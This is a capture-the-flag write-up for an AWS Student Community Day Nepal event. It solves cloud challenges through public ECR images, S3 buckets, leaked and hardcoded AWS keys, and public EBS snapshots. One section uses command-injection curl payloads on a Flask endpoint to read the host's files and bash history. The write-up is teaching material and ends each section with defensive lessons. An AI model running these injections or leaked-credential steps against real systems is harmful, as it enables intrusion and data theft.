# AWS Student Community Day Nepal CTF Writeup

**MISTAKEN IMAGE**

This challenge involves finding out the ECR image which was mistakenly made public and exposed some doors over the internet.

* **Inputs**: [https://github.com/ajutamangdev/serverless](https://github.com/ajutamangdev/serverless)
    
* **Hints**: Public ECR Image
    

![](https://miro.medium.com/v2/resize:fit:875/1*S6H1TmjECrYuaJWnIt7f4A.png align="left")

Navigate over [Gallery of ECR image](https://gallery.ecr.aws/). Search out the **r4s1p1w2/awscloudclubnepal**.

Pulled the ECR image and ran the image as a container.

```plaintext
docker pull public.ecr.aws/r4s1p1w2/awscloudclubnepal:latest
```

```plaintext
sudo docker run -it public.ecr.aws/r4s1p1w2/awscloudclubnepal
/ # ls
bin    etc    home   media  opt    root   sbin   sys    usr
dev    flag   lib    mnt    proc   run    srv    tmp    var
/ # cd flag
/flag # ls
flag.txt
/flag # cat flag.txt 
CTF{nyLLUw66QXkETtij}
```

*Flag:* **CTF{nyLLUw66QXkETtij}**

Key Lessons

* Ensure ECR images are private unless there is a specific need for them to be public.
    

# **PWNED THE BUCKET**

This challenge involves identifying an S3 bucket, exploiting misconfiguration, and uncovering the useful data stored in an S3 bucket.

* **Input**: ctf.csaju.com
    
* **Hint**: Use an S3 inspector tool like [S3Khoj](https://github.com/ajutamangdev/S3Khoj) to find sensitive files in the public bucket.
    

Use ***nslookup*** for further information gathering and check where ***ctf.csaju.com*** points to.

```plaintext
> nslookup ctf.csaju.com
Server: 1.1.1.1
Address: 1.1.1.1#53

Non-authoritative answer:
ctf.csaju.com canonical name = awscommunitydayctf.s3.ap-south-1.amazonaws.com.
awscommunitydayctf.s3.ap-south-1.amazonaws.com canonical name = s3-r-w.ap-south-1.amazonaws.com.

Name: s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.66.51
```

Browse and extract object from s3 bucket “**awscommunitydayctf.s3.ap-south-1.amazonaws.com”**

check the `pdf/main.inc`

*Flag:* **CTF{vZoF4sRjNxTVJXrI}**

Key Lessons

* Ensure the bucket’s permission is correctly set to prevent unauthorized access and public buckets should be avoided unless explicitly required.
    
* Implement workflows to monitor changes in bucket configurations, ensuring any accidental exposure is detected and mitigated promptly.
    

# **BREACHED THE DB**

This challenge involved the exposure of the database and led to several stuff.

* **Inputs**: [https://awscloudclubnepal.com](https://awscloudclubnepal.com/)
    

Fuzz out the URL and you will be able to perform GET over `url/.secrets/backup.db`

```plaintext
curl https://awscloudclubnepal.com/.secrets/backup.db
```

Once you have downloaded the file. Import the backup.db using sqlite3.

```plaintext
sqlite3 backup.db
```

![](https://miro.medium.com/v2/resize:fit:875/1*cgWKt6O3SEJMbSychWWsSg.png align="left")

You can export those credentials on a custom AWS profile or override your default profile.

```plaintext
aws --region us-east-1 --profile custom-profile dynamodb scan --table-name awscloudclubnepal
```

![](https://miro.medium.com/v2/resize:fit:875/0*vzaFfOyPJaq4fej-.png align="left")

*Flag:* **CTF{rMACjkeAqN9pFOAo}**

# **SERVERLESS**

This challenge is about the enumeration of serverless function apps.

* **Input**: [https://github.com/ajutamangdev/serverless](https://github.com/ajutamangdev/serverless)
    

Let’s export noted credentials in our default profile or custom one which was exposed by the developer accidentally over **commit** messages.

```plaintext
aws lambda list-functions --region ap-south-1
{
 "Functions": [
 {
 "FunctionName": "EnvBreaches",
 "FunctionArn": "arn:aws:lambda:ap-south-1:288761734723:function:EnvBreaches",
 "Runtime": "python3.10",
 "Role": "arn:aws:iam::288761734723:role/service-role/EnvBreaches-role-9b68sucr",
 "Handler": "lambda_function.lambda_handler",
 "CodeSize": 420,
 "Description": "A starter AWS Lambda function.",
 "Timeout": 3,
 "MemorySize": 128,
 "LastModified": "2024-09-24T11:26:41.000+0000",
 "CodeSha256": "v1xwIoDXIUeuD0DlTfWkCCHYaQpg/RAtlvvfc1IfpV4=",
 "Version": "$LATEST",
 "Environment": {
 "Variables": {
 "SECRET_KEY": "CTF{wow_congrats}"
 }
 },
 "TracingConfig": {
 "Mode": "PassThrough"
 },
```

*Flag:* **CTF{wow\_congrats}**

Key Lessons

* Review git logs regularly to ensure sensitive information hasn’t been accidentally pushed.
    
* Pre-commit hooks to scan for sensitive information before the developer commits to the repository.
    

# **BALTI**

This challenge is about reverse engineering and finding out the flag one.

* **Input**: Reverse engineer the provided APK file and find the flag.
    
* **Hint**: Name of the challenge and access through it
    

Use Android RE tools like apktool or jadx to decompile apk files. Using jadx you can able to see hardcoded AWS credentials on the codebase. AWS credentials allow you to authenticate and interact with AWS services.

![](https://miro.medium.com/v2/resize:fit:875/0*6Q3cE79Fk4MnrJKL.png align="left")

Let’s export those credentials first and perform some enumeration.

```plaintext
aws sts get-caller-identity
{
 "UserId": "AIDAUGO4KMZB4PGSYXVZZ",
 "Account": "288761734723",
 "Arn": "arn:aws:iam::288761734723:user/mobile"
}
```

Next will be listing out the IAM policies attached to the user account\[mobile\]. We can see that user has S3 and IAM policy resources.

```plaintext
aws iam list-attached-user-policies --user-name mobile
{
 "AttachedPolicies": [
 {
 "PolicyName": "oggy_bhai",
 "PolicyArn": "arn:aws:iam::288761734723:policy/oggy_bhai"
 },
 {
 "PolicyName": "IAMReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
 }
 ]
}
```

Let’s examine the permission of **oggy\_bhai** policy. This policy grants read access to specific S3 buckets.

```plaintext
aws iam get-policy-version --policy-arn arn:aws:iam::288761734723:policy/oggy_bhai --version-id v11
 {
 "PolicyVersion": {
 "Document": {
 "Version": "2012-10-17",
 "Statement": [
 {
 "Sid": "AllowSpecificBucketActions",
 "Effect": "Allow",
 "Action": [
 "s3:GetObject",
 "s3:ListBucket"
 ],
 "Resource": [
 "arn:aws:s3:::oggyandcockroachesbucket",
 "arn:aws:s3:::oggyandcockroachesbucket/*"
 ]
 },
 {
 "Sid": "AllowIAMPolicyReadAccess",
 "Effect": "Allow",
 "Action": [
 "iam:GetPolicy",
 "iam:GetPolicyVersion"
 ],
 "Resource": "arn:aws:iam::288761734723:policy/oggy_bhai"
 }
 ]
 },
 "VersionId": "v11",
 "IsDefaultVersion": true,
 "CreateDate": "2024-09-27T11:11:45+00:00"
 }
}
```

Since the policy allows access to the **oggyandcockraochesbucket** bucket, let’s list the contents and sync them locally.

```plaintext
aws s3 ls s3://oggyandcockroachesbucket
oggy.txt
aws s3 sync s3://oggyandcockroachesbucket .
download: s3://oggyandcockroachesbucket/oggy.txt to ./oggy.txt
cat oggy.txt
tLgxjcbrlmkAoYdR
```

*Flag:* **CTF{tLgxjcbrlmkAoYdR}**

Key Lessons

* Avoid hardcoding sensitive credentials in your application codebase.
    
* Always follow the principle of least privilege. Over-permissive policies can lead to serious security breaches.
    

# **ESCAPE YOUR VESSEL**

This challenge was around discovering the hidden endpoints on a web server running inside the container and having container privilege escalation vulnerability.

* **Input**: 13.234.195.12
    
* **Hint**: Check over Docker privilege escalation
    

To begin, let’s fuzz the input URL for hidden endpoints. I used ffuf to identify hidden endpoints with my custom directory wordlist.

```plaintext
ffuf -w common.txt -u http://13.234.195.12/FUZZ
```

```plaintext
 /'___\  /'___\           /'___\       
 /\ \__/ /\ \__/  __  __  /\ \__/       
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 \ \_\   \ \_\  \ \____/  \ \_\       
 \/_/    \/_/   \/___/    \/_/        v2.1.0-dev
________________________________________________ :: Method           : GET
 :: URL              : http://13.234.195.12/FUZZ
 :: Wordlist         : FUZZ: /home/Documents/ctf/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________hi                      [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 52ms]
health                  [Status: 200, Size: 10, Words: 3, Lines: 1, Duration: 67ms]
:: Progress: [4734/4734] :: Job [1/1] :: 283 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
Copy
```

wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt)

From this, we discovered two endpoints

* /hi
    
* Accept POST requests
    
* /health
    
* Accept GET request that returned a simple health check-update
    

We then tested the endpoint by sending a POST request with a simple command injection payload.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=ls'
Dockerfile
app.py
```

The endpoint was vulnerable to command injection which allows us to execute system commands. Let’s investigate the source code to understand how it works.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
```

```plaintext
FROM python:3.9-slimWORKDIR /appCOPY . /appRUN pip install flaskEXPOSE 80CMD ["python", "app.py"]
```

Dockerfile revealed that app was running a flask server.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
```

```plaintext
from flask import Flask, requestimport osapp = Flask(__name__)@app.route('/')
def home():
 return 'Welcome to AWS Student Community Day'@app.route('/health')
def health():
 return 'Site is up'
@app.route('/hi', methods=['POST'])
def execute():
 command = request.form.get('command')
 result = os.popen(command).read()
 return resultif __name__ == '__main__':
 app.run(host='0.0.0.0', port=80)
```

From here, the **execute()** function in **/hi** endpoint allowed commands to be executed on the underlying system. During further investigation, the container had access to the host’s file system. The host directory was mapped to the root of the host machine. Let’s confirm.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=df -h'
Filesystem      Size  Used Avail Use% Mounted on
overlay         6.8G  3.2G  3.6G  47% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/root       6.8G  3.2G  3.6G  47% /host
devtmpfs        2.0G     0  2.0G   0% /host/dev
tmpfs           2.0G     0  2.0G   0% /host/dev/shm
tmpfs           783M 1004K  782M   1% /host/run
tmpfs           5.0M     0  5.0M   0% /host/run/lock
/dev/loop1       26M   26M     0 100% /host/snap/amazon-ssm-agent/7993
/dev/loop0       56M   56M     0 100% /host/snap/core18/2829
/dev/loop2       39M   39M     0 100% /host/snap/snapd/21759
/dev/xvda16     881M  133M  687M  17% /host/boot
/dev/xvda15     105M  6.1M   99M   6% /host/boot/efi
/dev/loop3       56M   56M     0 100% /host/snap/core18/2846
/dev/loop4       75M   75M     0 100% /host/snap/core22/1621
/dev/loop5       26M   26M     0 100% /host/snap/amazon-ssm-agent/9565
```

Let’s inspect the bash history of the host’s user so we can retire content from files.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=cat /host/home/ubuntu/.bash_history'
```

Based on bash\_history, recent changes were at /var/log directory and some files. Let’s retrieve content there.

```plaintext
curl -X POST http://13.234.195.12/hi -d 'command=cat /host/var/log/flag.txt'
```

*Flag:* **CTF{PC1RVV1ZA2OI5AP}**

Key Lessons

* Always sanitize user inputs to prevent attackers from executing arbitrary commands.
    
* Ensure your container doesn’t have unnecessary access to the host file system.
    

# **EXPOSED VOLUME**

This challenge was about exploiting a public snapshot of the volume.

* **Input** : [https://awscloudclubnepal.com](https://awscloudclubnepal.com/)
    
* **Hint** : Check out the robots.txt
    

Let’s dive into **robots.txt** of **awscloudclubnepal.com** The content of the robots.txt file revealed a snapshot.

![](https://miro.medium.com/v2/resize:fit:875/0*saymy_vkBSyqWL9O.png align="left")

Let’s confirm whether the snapshot is public or not. A developer might accidently make the snapshot public leading to more exposure to their environment.

![](https://miro.medium.com/v2/resize:fit:875/0*OLxk5NZoyQf1sfjC.png align="left")

Let’s mount the snapshot to our instance to explore the contents of the volume. You should provision out the instances initially.

![](https://miro.medium.com/v2/resize:fit:875/0*-UemxxrSNK-csq31.png align="left")

You have options to create the volume or release the image. Create a new volume from the snapshot.

![](https://miro.medium.com/v2/resize:fit:875/0*ZY2zAm6UyK6z2m8v.png align="left")

Attached it to a running healthy instance.

![](https://miro.medium.com/v2/resize:fit:875/0*_TXBkVBBcxhcDA0O.png align="left")

Mount it to the file system and explore the content of the file of the snapshot’s volume.

![](https://miro.medium.com/v2/resize:fit:875/0*iWguuCSqnB4NBJ3T.png align="left")

*Flag:* **CTF{LaYwf9G121YxnjKY}**

Key Lessons

* Ensure that snapshots in AWS are not publicly accessible unless intended.
    
* Regularly audit your cloud environment for misconfiguration like public snapshots.
    

***Reference***

[AWS Student Community Day Nepal CTF Writeup | CSaju](https://csaju.com/posts/aws-student-community-day-nepal-ctf-writeup/)
